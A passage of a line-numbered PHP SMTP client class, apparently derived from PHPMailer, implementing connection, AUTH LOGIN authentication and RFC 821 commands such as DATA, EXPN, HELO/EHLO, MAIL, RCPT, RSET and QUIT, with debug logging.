  2759.      * @access public
  2760.      * @return bool
  2761.      */
  2762.     function Connect($host,$port=0,$tval=30) {
  2763.         # set the error val to null so there is no confusion
  2764.        $this->error = null;
  2765.  
  2766.         # make sure we are __not__ connected
  2767.        if($this->connected()) {
  2768.             # ok we are connected! what should we do?
  2769.            # for now we will just give an error saying we
  2770.            # are already connected
  2771.            $this->error =
  2772.                 array("error" => "Already connected to a server");
  2773.             return false;
  2774.         }
  2775.  
  2776.         if(empty($port)) {
  2777.             $port = $this->SMTP_PORT;
  2778.         }
  2779.  
  2780.         #connect to the smtp server
  2781.        $this->smtp_conn = fsockopen($host,    # the host of the server
  2782.                                     $port,    # the port to use
  2783.                                     $errno,   # error number if any
  2784.                                     $errstr,  # error message if any
  2785.                                     $tval);   # give up after ? secs
  2786.        # verify we connected properly
  2787.        if(empty($this->smtp_conn)) {
  2788.             $this->error = array("error" => "Failed to connect to server",
  2789.                                  "errno" => $errno,
  2790.                                  "errstr" => $errstr);
  2791.             if($this->do_debug >= 1) {
  2792.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
  2793.             }
  2794.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2795.             return false;
  2796.         }
  2797.  
  2798.         # sometimes the SMTP server takes a little longer to respond
  2799.        # so we will give it a longer timeout for the first read
  2800.        // Windows still does not have support for this timeout function
  2801.         if(substr(PHP_OS, 0, 3) != "WIN")
  2802.            socket_set_timeout($this->smtp_conn, $tval, 0);
  2803.  
  2804.         # get any announcement stuff
  2805.        $announce = $this->get_lines();
  2806.  
  2807.         # set the timeout  of any socket functions at 1/10 of a second
  2808.        //if(function_exists("socket_set_timeout"))
  2809.         //   socket_set_timeout($this->smtp_conn, 0, 100000);
  2810.  
  2811.         if($this->do_debug >= 2) {
  2812.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  2813.         }
  2814.  
  2815.         return true;
  2816.     }
  2817.  
  2818.     /**
  2819.      * Performs SMTP authentication.  Must be run after running the
  2820.      * Hello() method.  Returns true if successfully authenticated.
  2821.      * @access public
  2822.      * @return bool
  2823.      */
  2824.     function Authenticate($username, $password) {
  2825.         // Start authentication
  2826.         fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  2827.  
  2828.         $rply = $this->get_lines();
  2829.         $code = substr($rply,0,3);
  2830.  
  2831.         if($code != 334)
  2832.         {
  2833.             $this->error =
  2834.                 array("error" => "AUTH not accepted from server",
  2835.                       "smtp_code" => $code,
  2836.                       "smtp_msg" => substr($rply,4));
  2837.             if($this->do_debug >= 1) {
  2838.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2839.             }
  2840.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2841.             $this->smtpError = "auth_auth";
  2842.             return false;
  2843.         }
  2844.  
  2845.         // Send encoded username
  2846.         fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  2847.  
  2848.         $rply = $this->get_lines();
  2849.         $code = substr($rply,0,3);
  2850.  
  2851.         if($code != 334) {
  2852.             $this->error =
  2853.                 array("error" => "Username not accepted from server",
  2854.                       "smtp_code" => $code,
  2855.                       "smtp_msg" => substr($rply,4));
  2856.             if($this->do_debug >= 1) {
  2857.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2858.                          ": " . $rply . $this->CRLF;
  2859.             }
  2860.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2861.             $this->smtpError = "auth_username";
  2862.             return false;
  2863.         }
  2864.  
  2865.         // Send encoded password
  2866.         fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  2867.  
  2868.         $rply = $this->get_lines();
  2869.         $code = substr($rply,0,3);
  2870.  
  2871.         if($code != 235)
  2872.         {
  2873.             $this->error =
  2874.                 array("error" => "Password not accepted from server",
  2875.                       "smtp_code" => $code,
  2876.                       "smtp_msg" => substr($rply,4));
  2877.             if($this->do_debug >= 1) {
  2878.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2879.             }
  2880.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2881.             $this->smtpError = "auth_password";
  2882.             return false;
  2883.         }
  2884.  
  2885.         return true;
  2886.     }
  2887.  
  2888.     /**
  2889.      * Returns true if connected to a server otherwise false
  2890.      * @access private
  2891.      * @return bool
  2892.      */
  2893.     function Connected() {
  2894.         if(!empty($this->smtp_conn)) {
  2895.             $sock_status = socket_get_status($this->smtp_conn);
  2896.             if($sock_status["eof"]) {
  2897.                 # hmm this is an odd situation... the socket is
  2898.                # valid but we aren't connected anymore
  2899.                if($this->do_debug >= 1) {
  2900.                     echo "SMTP -> NOTICE:" . $this->CRLF .
  2901.                          "EOF caught while checking if connected";
  2902.                 }
  2903.                 //DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2904.                 $this->Close();
  2905.                 return false;
  2906.             }
  2907.             return true; # everything looks good
  2908.        }
  2909.         return false;
  2910.     }
  2911.  
  2912.     /**
  2913.      * Closes the socket and cleans up the state of the class.
  2914.      * It is not considered good to use this function without
  2915.      * first trying to use QUIT.
  2916.      * @access public
  2917.      * @return void
  2918.      */
  2919.     function Close() {
  2920.         $this->error = null; # so there is no confusion
  2921.        $this->helo_rply = null;
  2922.         $this->smtp_buffer = null;
  2923.         if(!empty($this->smtp_conn)) {
  2924.             # close the connection and cleanup
  2925.            fclose($this->smtp_conn);
  2926.             $this->smtp_conn = 0;
  2927.         }
  2928.     }
  2929.  
  2930.  
  2931.     /***************************************************************
  2932.      *                        SMTP COMMANDS                       *
  2933.      *************************************************************/
  2934.  
  2935.     /**
  2936.      * Issues a data command and sends the msg_data to the server
  2937.      * finializing the mail transaction. $msg_data is the message
  2938.      * that is to be send with the headers. Each header needs to be
  2939.      * on a single line followed by a <CRLF> with the message headers
  2940.      * and the message body being seperated by and additional <CRLF>.
  2941.      *
  2942.      * Implements rfc 821: DATA <CRLF>
  2943.      *
  2944.      * SMTP CODE INTERMEDIATE: 354
  2945.      *     [data]
  2946.      *     <CRLF>.<CRLF>
  2947.      *     SMTP CODE SUCCESS: 250
  2948.      *     SMTP CODE FAILURE: 552,554,451,452
  2949.      * SMTP CODE FAILURE: 451,554
  2950.      * SMTP CODE ERROR  : 500,501,503,421
  2951.      * @access public
  2952.      * @return bool
  2953.      */
  2954.     function Data($msg_data) {
  2955.         $this->error = null; # so no confusion is caused
  2956.  
  2957.         if(!$this->connected()) {
  2958.             $this->error = array(
  2959.                     "error" => "Called Data() without being connected");
  2960.             return false;
  2961.         }
  2962.  
  2963.         fputs($this->smtp_conn,"DATA" . $this->CRLF);
  2964.  
  2965.         $rply = $this->get_lines();
  2966.         $code = substr($rply,0,3);
  2967.  
  2968.         if($this->do_debug >= 2) {
  2969.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  2970.         }
  2971.  
  2972.         if($code != 354) {
  2973.             $this->error =
  2974.                 array("error" => "DATA command not accepted from server",
  2975.                       "smtp_code" => $code,
  2976.                       "smtp_msg" => substr($rply,4));
  2977.             if($this->do_debug >= 1) {
  2978.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2979.                          ": " . $rply . $this->CRLF;
  2980.             }
  2981.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2982.             $this->smtpError = "data";
  2983.             $this->smtpSendError++;
  2984.             return false;
  2985.         }
  2986.  
  2987.         # the server is ready to accept data!
  2988.        # according to rfc 821 we should not send more than 1000
  2989.        # including the CRLF
  2990.        # characters on a single line so we will break the data up
  2991.        # into lines by \r and/or \n then if needed we will break
  2992.        # each of those into smaller lines to fit within the limit.
  2993.        # in addition we will be looking for lines that start with
  2994.        # a period '.' and append and additional period '.' to that
  2995.        # line. NOTE: this does not count towards are limit.
  2996.  
  2997.         # normalize the line breaks so we know the explode works
  2998.        $msg_data = str_replace("\r\n","\n",$msg_data);
  2999.         $msg_data = str_replace("\r","\n",$msg_data);
  3000.         $lines = explode("\n",$msg_data);
  3001.  
  3002.         # we need to find a good way to determine is headers are
  3003.        # in the msg_data or if it is a straight msg body
  3004.        # currently I'm assuming rfc 822 definitions of msg headers
  3005.        # and if the first field of the first line (':' sperated)
  3006.        # does not contain a space then it _should_ be a header
  3007.        # and we can process all lines before a blank "" line as
  3008.        # headers.
  3009.        $field = substr($lines[0],0,strpos($lines[0],":"));
  3010.         $in_headers = false;
  3011.         if(!empty($field) && !strstr($field," ")) {
  3012.             $in_headers = true;
  3013.         }
  3014.  
  3015.         $max_line_length = 998; # used below; set here for ease in change
  3016.  
  3017.         while(list(,$line) = @each($lines)) {
  3018.             $lines_out = null;
  3019.             if($line == "" && $in_headers) {
  3020.                 $in_headers = false;
  3021.             }
  3022.             # ok we need to break this line up into several
  3023.            # smaller lines
  3024.            while(strlen($line) > $max_line_length) {
  3025.                 $pos = strrpos(substr($line,0,$max_line_length)," ");
  3026.  
  3027.                 # Patch to fix DOS attack
  3028.                if(!$pos) {
  3029.                     $pos = $max_line_length - 1;
  3030.                 }
  3031.  
  3032.                 $lines_out[] = substr($line,0,$pos);
  3033.                 $line = substr($line,$pos + 1);
  3034.                 # if we are processing headers we need to
  3035.                # add a LWSP-char to the front of the new line
  3036.                # rfc 822 on long msg headers
  3037.                if($in_headers) {
  3038.                     $line = "\t" . $line;
  3039.                 }
  3040.             }
  3041.             $lines_out[] = $line;
  3042.  
  3043.             # now send the lines to the server
  3044.            while(list(,$line_out) = @each($lines_out)) {
  3045.                 if(strlen($line_out) > 0)
  3046.                 {
  3047.                     if(substr($line_out, 0, 1) == ".") {
  3048.                         $line_out = "." . $line_out;
  3049.                     }
  3050.                 }
  3051.                 fputs($this->smtp_conn,$line_out . $this->CRLF);
  3052.             }
  3053.         }
  3054.  
  3055.         # ok all the message data has been sent so lets get this
  3056.        # over with aleady
  3057.        fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  3058.  
  3059.         $rply = $this->get_lines();
  3060.         $code = substr($rply,0,3);
  3061.  
  3062.         if($this->do_debug >= 2) {
  3063.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3064.         }
  3065.  
  3066.         if($code != 250) {
  3067.             $this->error =
  3068.                 array("error" => "DATA not accepted from server",
  3069.                       "smtp_code" => $code,
  3070.                       "smtp_msg" => substr($rply,4));
  3071.             if($this->do_debug >= 1) {
  3072.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3073.                          ": " . $rply . $this->CRLF;
  3074.             }
  3075.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3076.             $this->smtpError = "data";
  3077.             $this->smtpSendError++;
  3078.             return false;
  3079.         }
  3080.         return true;
  3081.     }
  3082.  
  3083.     /**
  3084.      * Expand takes the name and asks the server to list all the
  3085.      * people who are members of the _list_. Expand will return
  3086.      * back and array of the result or false if an error occurs.
  3087.      * Each value in the array returned has the format of:
  3088.      *     [ <full-name> <sp> ] <path>
  3089.      * The definition of <path> is defined in rfc 821
  3090.      *
  3091.      * Implements rfc 821: EXPN <SP> <string> <CRLF>
  3092.      *
  3093.      * SMTP CODE SUCCESS: 250
  3094.      * SMTP CODE FAILURE: 550
  3095.      * SMTP CODE ERROR  : 500,501,502,504,421
  3096.      * @access public
  3097.      * @return string array
  3098.      */
  3099.     function Expand($name) {
  3100.         $this->error = null; # so no confusion is caused
  3101.  
  3102.         if(!$this->connected()) {
  3103.             $this->error = array(
  3104.                     "error" => "Called Expand() without being connected");
  3105.             return false;
  3106.         }
  3107.  
  3108.         fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  3109.  
  3110.         $rply = $this->get_lines();
  3111.         $code = substr($rply,0,3);
  3112.  
  3113.         if($this->do_debug >= 2) {
  3114.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3115.         }
  3116.  
  3117.         if($code != 250) {
  3118.             $this->error =
  3119.                 array("error" => "EXPN not accepted from server",
  3120.                       "smtp_code" => $code,
  3121.                       "smtp_msg" => substr($rply,4));
  3122.             if($this->do_debug >= 1) {
  3123.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3124.                          ": " . $rply . $this->CRLF;
  3125.             }
  3126.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3127.             return false;
  3128.         }
  3129.  
  3130.         # parse the reply and place in our array to return to user
  3131.        $entries = explode($this->CRLF,$rply);
  3132.         while(list(,$l) = @each($entries)) {
  3133.             $list[] = substr($l,4);
  3134.         }
  3135.  
  3136.         return $list;
  3137.     }
  3138.  
  3139.     /**
  3140.      * Sends the HELO command to the smtp server.
  3141.      * This makes sure that we and the server are in
  3142.      * the same known state.
  3143.      *
  3144.      * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  3145.      *
  3146.      * SMTP CODE SUCCESS: 250
  3147.      * SMTP CODE ERROR  : 500, 501, 504, 421
  3148.      * @access public
  3149.      * @return bool
  3150.      */
  3151.     function Hello($host="") {
  3152.         $this->error = null; # so no confusion is caused
  3153.  
  3154.         if(!$this->connected()) {
  3155.             $this->error = array(
  3156.                     "error" => "Called Hello() without being connected");
  3157.             return false;
  3158.         }
  3159.  
  3160.         # if a hostname for the HELO wasn't specified determine
  3161.        # a suitable one to send
  3162.        if(empty($host)) {
  3163.             # we need to determine some sort of appopiate default
  3164.            # to send to the server
  3165.            $host = "localhost";
  3166.         }
  3167.  
  3168.         // Send extended hello first (RFC 2821)
  3169.         if(!$this->SendHello("EHLO", $host))
  3170.         {
  3171.             if(!$this->SendHello("HELO", $host))
  3172.                 return false;
  3173.         }
  3174.  
  3175.         return true;
  3176.     }
  3177.  
  3178.     /**
  3179.      * Sends a HELO/EHLO command.
  3180.      * @access private
  3181.      * @return bool
  3182.      */
  3183.     function SendHello($hello, $host) {
  3184.         fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  3185.  
  3186.         $rply = $this->get_lines();
  3187.         $code = substr($rply,0,3);
  3188.  
  3189.         if($this->do_debug >= 2) {
  3190.             echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  3191.         }
  3192.  
  3193.         if($code != 250) {
  3194.             $this->error =
  3195.                 array("error" => $hello . " not accepted from server",
  3196.                       "smtp_code" => $code,
  3197.                       "smtp_msg" => substr($rply,4));
  3198.             if($this->do_debug >= 1) {
  3199.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3200.                          ": " . $rply . $this->CRLF;
  3201.             }
  3202.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3203.             $this->smtpError = "hello";
  3204.             $this->smtpSendError++;
  3205.             return false;
  3206.         }
  3207.  
  3208.         $this->helo_rply = $rply;
  3209.        
  3210.         return true;
  3211.     }
  3212.  
  3213.     /**
  3214.      * Gets help information on the keyword specified. If the keyword
  3215.      * is not specified then returns generic help, ussually contianing
  3216.      * A list of keywords that help is available on. This function
  3217.      * returns the results back to the user. It is up to the user to
  3218.      * handle the returned data. If an error occurs then false is
  3219.      * returned with $this->error set appropiately.
  3220.      *
  3221.      * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  3222.      *
  3223.      * SMTP CODE SUCCESS: 211,214
  3224.      * SMTP CODE ERROR  : 500,501,502,504,421
  3225.      * @access public
  3226.      * @return string
  3227.      */
  3228.     function Help($keyword="") {
  3229.         $this->error = null; # to avoid confusion
  3230.  
  3231.         if(!$this->connected()) {
  3232.             $this->error = array(
  3233.                     "error" => "Called Help() without being connected");
  3234.             return false;
  3235.         }
  3236.  
  3237.         $extra = "";
  3238.         if(!empty($keyword)) {
  3239.             $extra = " " . $keyword;
  3240.         }
  3241.  
  3242.         fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  3243.  
  3244.         $rply = $this->get_lines();
  3245.         $code = substr($rply,0,3);
  3246.  
  3247.         if($this->do_debug >= 2) {
  3248.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3249.         }
  3250.  
  3251.         if($code != 211 && $code != 214) {
  3252.             $this->error =
  3253.                 array("error" => "HELP not accepted from server",
  3254.                       "smtp_code" => $code,
  3255.                       "smtp_msg" => substr($rply,4));
  3256.             if($this->do_debug >= 1) {
  3257.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3258.                          ": " . $rply . $this->CRLF;
  3259.             }
  3260.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3261.             return false;
  3262.         }
  3263.  
  3264.         return $rply;
  3265.     }
  3266.  
  3267.     /**
  3268.      * Starts a mail transaction from the email address specified in
  3269.      * $from. Returns true if successful or false otherwise. If True
  3270.      * the mail transaction is started and then one or more Recipient
  3271.      * commands may be called followed by a Data command.
  3272.      *
  3273.      * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  3274.      *
  3275.      * SMTP CODE SUCCESS: 250
  3276.      * SMTP CODE SUCCESS: 552,451,452
  3277.      * SMTP CODE SUCCESS: 500,501,421
  3278.      * @access public
  3279.      * @return bool
  3280.      */
  3281.     function Mail($from) {
  3282.         $this->error = null; # so no confusion is caused
  3283.  
  3284.         if(!$this->connected()) {
  3285.             $this->error = array(
  3286.                     "error" => "Called Mail() without being connected");
  3287.             return false;
  3288.         }
  3289.  
  3290.         fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $this->CRLF);
  3291.  
  3292.         $rply = $this->get_lines();
  3293.         $code = substr($rply,0,3);
  3294.  
  3295.         if($this->do_debug >= 2) {
  3296.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3297.         }
  3298.  
  3299.         if($code != 250) {
  3300.             $this->error =
  3301.                 array("error" => "MAIL not accepted from server",
  3302.                       "smtp_code" => $code,
  3303.                       "smtp_msg" => substr($rply,4));
  3304.             if($this->do_debug >= 1) {
  3305.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3306.                          ": " . $rply . $this->CRLF;
  3307.             }
  3308.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3309.             $this->smtpError = "mail";
  3310.             $this->smtpSendError++;
  3311.             return false;
  3312.         }
  3313.         return true;
  3314.     }
  3315.  
  3316.     /**
  3317.      * Sends the command NOOP to the SMTP server.
  3318.      *
  3319.      * Implements from rfc 821: NOOP <CRLF>
  3320.      *
  3321.      * SMTP CODE SUCCESS: 250
  3322.      * SMTP CODE ERROR  : 500, 421
  3323.      * @access public
  3324.      * @return bool
  3325.      */
  3326.     function Noop() {
  3327.         $this->error = null; # so no confusion is caused
  3328.  
  3329.         if(!$this->connected()) {
  3330.             $this->error = array(
  3331.                     "error" => "Called Noop() without being connected");
  3332.             return false;
  3333.         }
  3334.  
  3335.         fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  3336.  
  3337.         $rply = $this->get_lines();
  3338.         $code = substr($rply,0,3);
  3339.  
  3340.         if($this->do_debug >= 2) {
  3341.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3342.         }
  3343.  
  3344.         if($code != 250) {
  3345.             $this->error =
  3346.                 array("error" => "NOOP not accepted from server",
  3347.                       "smtp_code" => $code,
  3348.                       "smtp_msg" => substr($rply,4));
  3349.             if($this->do_debug >= 1) {
  3350.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3351.                          ": " . $rply . $this->CRLF;
  3352.             }
  3353.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3354.             return false;
  3355.         }
  3356.         return true;
  3357.     }
  3358.  
  3359.     /**
  3360.      * Sends the quit command to the server and then closes the socket
  3361.      * if there is no error or the $close_on_error argument is true.
  3362.      *
  3363.      * Implements from rfc 821: QUIT <CRLF>
  3364.      *
  3365.      * SMTP CODE SUCCESS: 221
  3366.      * SMTP CODE ERROR  : 500
  3367.      * @access public
  3368.      * @return bool
  3369.      */
  3370.     function Quit($close_on_error=true) {
  3371.         $this->error = null; # so there is no confusion
  3372.  
  3373.         if(!$this->connected()) {
  3374.             $this->error = array(
  3375.                     "error" => "Called Quit() without being connected");
  3376.             return false;
  3377.         }
  3378.  
  3379.         # send the quit command to the server
  3380.        fputs($this->smtp_conn,"quit" . $this->CRLF);
  3381.  
  3382.         # get any good-bye messages
  3383.        $byemsg = $this->get_lines();
  3384.  
  3385.         if($this->do_debug >= 2) {
  3386.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  3387.         }
  3388.  
  3389.         $rval = true;
  3390.         $e = null;
  3391.  
  3392.         $code = substr($byemsg,0,3);
  3393.         if($code != 221) {
  3394.             # use e as a tmp var cause Close will overwrite $this->error
  3395.            $e = array("error" => "SMTP server rejected quit command",
  3396.                        "smtp_code" => $code,
  3397.                        "smtp_rply" => substr($byemsg,4));
  3398.             $rval = false;
  3399.             if($this->do_debug >= 1) {
  3400.                 echo "SMTP -> ERROR: " . $e["error"] . ": " .
  3401.                          $byemsg . $this->CRLF;
  3402.             }
  3403.         }
  3404.  
  3405.         if(empty($e) || $close_on_error) {
  3406.             $this->Close();
  3407.         }
  3408.  
  3409.         return $rval;
  3410.     }
  3411.  
  3412.     /**
  3413.      * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  3414.      * Returns true if the recipient was accepted false if it was rejected.
  3415.      *
  3416.      * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  3417.      *
  3418.      * SMTP CODE SUCCESS: 250,251
  3419.      * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  3420.      * SMTP CODE ERROR  : 500,501,503,421
  3421.      * @access public
  3422.      * @return bool
  3423.      */
  3424.     function Recipient($to) {
  3425.         $this->error = null; # so no confusion is caused
  3426.  
  3427.         if(!$this->connected()) {
  3428.             $this->error = array(
  3429.                     "error" => "Called Recipient() without being connected");
  3430.             return false;
  3431.         }
  3432.  
  3433.         fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  3434.  
  3435.         $rply = $this->get_lines();
  3436.         $code = substr($rply,0,3);
  3437.  
  3438.         if($this->do_debug >= 2) {
  3439.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3440.         }
  3441.  
  3442.         if($code != 250 && $code != 251) {
  3443.             $this->error =
  3444.                 array("error" => "RCPT not accepted from server",
  3445.                       "smtp_code" => $code,
  3446.                       "smtp_msg" => substr($rply,4));
  3447.             if($this->do_debug >= 1) {
  3448.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3449.                          ": " . $rply . $this->CRLF;
  3450.             }
  3451.             $this->smtpError = "rcpt";
  3452.             $this->smtpSendError++;
  3453.             return false;
  3454.         }
  3455.         return true;
  3456.     }
  3457.  
  3458.     /**
  3459.      * Sends the RSET command to abort and transaction that is
  3460.      * currently in progress. Returns true if successful false
  3461.      * otherwise.
  3462.      *
  3463.      * Implements rfc 821: RSET <CRLF>
  3464.      *
  3465.      * SMTP CODE SUCCESS: 250
  3466.      * SMTP CODE ERROR  : 500,501,504,421
  3467.      * @access public
  3468.      * @return bool
  3469.      */
  3470.     function Reset() {
  3471.         $this->error = null; # so no confusion is caused
  3472.  
  3473.         if(!$this->connected()) {
  3474.             $this->error = array(
  3475.                     "error" => "Called Reset() without being connected");
  3476.             return false;
  3477.         }
  3478.  
  3479.         fputs($this->smtp_conn,"RSET" . $this->CRLF);
  3480.  
  3481.         $rply = $this->get_lines();
  3482.         $code = substr($rply,0,3);
  3483.  
  3484.         if($this->do_debug >= 2) {
  3485.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3486.         }
  3487.  
  3488.         if($code != 250) {
  3489.             $this->error =
  3490.                 array("error" => "RSET failed",
  3491.                       "smtp_code" => $code,
  3492.                       "smtp_msg" => substr($rply,4));
  3493.             if($this->do_debug >= 1) {
  3494.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3495.                          ": " . $rply . $this->CRLF;
  3496.             }
  3497.             $this->smtpError = "rset";
  3498.             $this->smtpSendError++;
  3499.             return false;
  3500.         }
  3501.  
  3502.         return true;
  3503.     }
  3504.  
  3505.     /**
  3506.      * Starts a mail transaction from the email address specified in
  3507.      * $from. Returns true if successful or false otherwise. If True
  3508.      * the mail transaction is started and then one or more Recipient
  3509.      * commands may be called followed by a Data command. This command
  3510.      * will send the message to the users terminal if they are logged
  3511.      * in.
  3512.      *
  3513.      * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  3514.      *
  3515.      * SMTP CODE SUCCESS: 250
  3516.      * SMTP CODE SUCCESS: 552,451,452
  3517.      * SMTP CODE SUCCESS: 500,501,502,421
  3518.      * @access public
  3519.      * @return bool
  3520.      */
  3521.     function Send($from) {
  3522.         $this->error = null; # so no confusion is caused
  3523.  
  3524.         if(!$this->connected()) {
  3525.             $this->error = array(
  3526.                     "error" => "Called Send() without being connected");
  3527.             return false;
  3528.         }
  3529.  
  3530.         fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  3531.  
  3532.         $rply = $this->get_lines();
  3533.         $code = substr($rply,0,3);
  3534.  
  3535.         if($this->do_debug >= 2) {
  3536.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3537.         }
  3538.  
  3539.         if($code != 250) {
  3540.             $this->error =
  3541.                 array("error" => "SEND not accepted from server",
  3542.                       "smtp_code" => $code,
  3543.                       "smtp_msg" => substr($rply,4));
  3544.             if($this->do_debug >= 1) {
  3545.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3546.                          ": " . $rply . $this->CRLF;
  3547.             }
  3548.             $this->smtpError = "send";
  3549.             $this->smtpSendError++;
  3550.             return false;
  3551.         }
  3552.         return true;
  3553.     }
  3554.  
  3555.     /**
  3556.      * Starts a mail transaction from the email address specified in
  3557.      * $from. Returns true if successful or false otherwise. If True
  3558.      * the mail transaction is started and then one or more Recipient
  3559.      * commands may be called followed by a Data command. This command
  3560.      * will send the message to the users terminal if they are logged
  3561.      * in and send them an email.
  3562.      *
  3563.      * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  3564.      *
  3565.      * SMTP CODE SUCCESS: 250
  3566.      * SMTP CODE SUCCESS: 552,451,452
  3567.      * SMTP CODE SUCCESS: 500,501,502,421
  3568.      * @access public
  3569.      * @return bool
  3570.      */
  3571.     function SendAndMail($from) {
  3572.         $this->error = null; # so no confusion is caused
  3573.  
  3574.         if(!$this->connected()) {
  3575.             $this->error = array(
  3576.                 "error" => "Called SendAndMail() without being connected");
  3577.             return false;
  3578.         }
  3579.  
  3580.         fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  3581.  
  3582.         $rply = $this->get_lines();
  3583.         $code = substr($rply,0,3);
  3584.  
  3585.         if($this->do_debug >= 2) {
  3586.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3587.         }
  3588.  
  3589.         if($code != 250) {
  3590.             $this->error =
  3591.                 array("error" => "SAML not accepted from server",
  3592.                       "smtp_code" => $code,
  3593.                       "smtp_msg" => substr($rply,4));
  3594.             if($this->do_debug >= 1) {
  3595.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3596.                          ": " . $rply . $this->CRLF;
  3597.             }
  3598.             return false;
  3599.         }
  3600.         return true;
  3601.     }
  3602.  
  3603.     /**
  3604.      * Starts a mail transaction from the email address specified in
  3605.      * $from. Returns true if successful or false otherwise. If True
  3606.      * the mail transaction is started and then one or more Recipient
  3607.      * commands may be called followed by a Data command. This command
  3608.      * will send the message to the users terminal if they are logged
  3609.      * in or mail it to them if they are not.
  3610.      *
  3611.      * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  3612.      *
  3613.      * SMTP CODE SUCCESS: 250
  3614.      * SMTP CODE SUCCESS: 552,451,452
  3615.      * SMTP CODE SUCCESS: 500,501,502,421
  3616.      * @access public
  3617.      * @return bool
  3618.      */
  3619.     function SendOrMail($from) {
  3620.         $this->error = null; # so no confusion is caused
  3621.  
  3622.         if(!$this->connected()) {
  3623.             $this->error = array(
  3624.                 "error" => "Called SendOrMail() without being connected");
  3625.             return false;
  3626.         }
  3627.  
  3628.         fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  3629.  
  3630.         $rply = $this->get_lines();
  3631.         $code = substr($rply,0,3);
  3632.  
  3633.         if($this->do_debug >= 2) {
  3634.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3635.         }
  3636.  
  3637.         if($code != 250) {
  3638.             $this->error =
  3639.                 array("error" => "SOML not accepted from server",
  3640.                       "smtp_code" => $code,
  3641.                       "smtp_msg" => substr($rply,4));
  3642.             if($this->do_debug >= 1) {
  3643.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3644.                          ": " . $rply . $this->CRLF;
  3645.             }
  3646.             return false;
  3647.         }
  3648.         return true;
  3649.     }
  3650.  
  3651.     /**
  3652.      * This is an optional command for SMTP that this class does not
  3653.      * support. This method is here to make the RFC821 Definition
  3654.      * complete for this class and __may__ be implimented in the future
  3655.      *
  3656.      * Implements from rfc 821: TURN <CRLF>
  3657.      *
  3658.      * SMTP CODE SUCCESS: 250
  3659.      * SMTP CODE FAILURE: 502
  3660.      * SMTP CODE ERROR  : 500, 503
  3661.      * @access public
  3662.      * @return bool
  3663.      */
  3664.     function Turn() {
  3665.         $this->error = array("error" => "This method, TURN, of the SMTP ".
  3666.                                         "is not implemented");
  3667.         if($this->do_debug >= 1) {
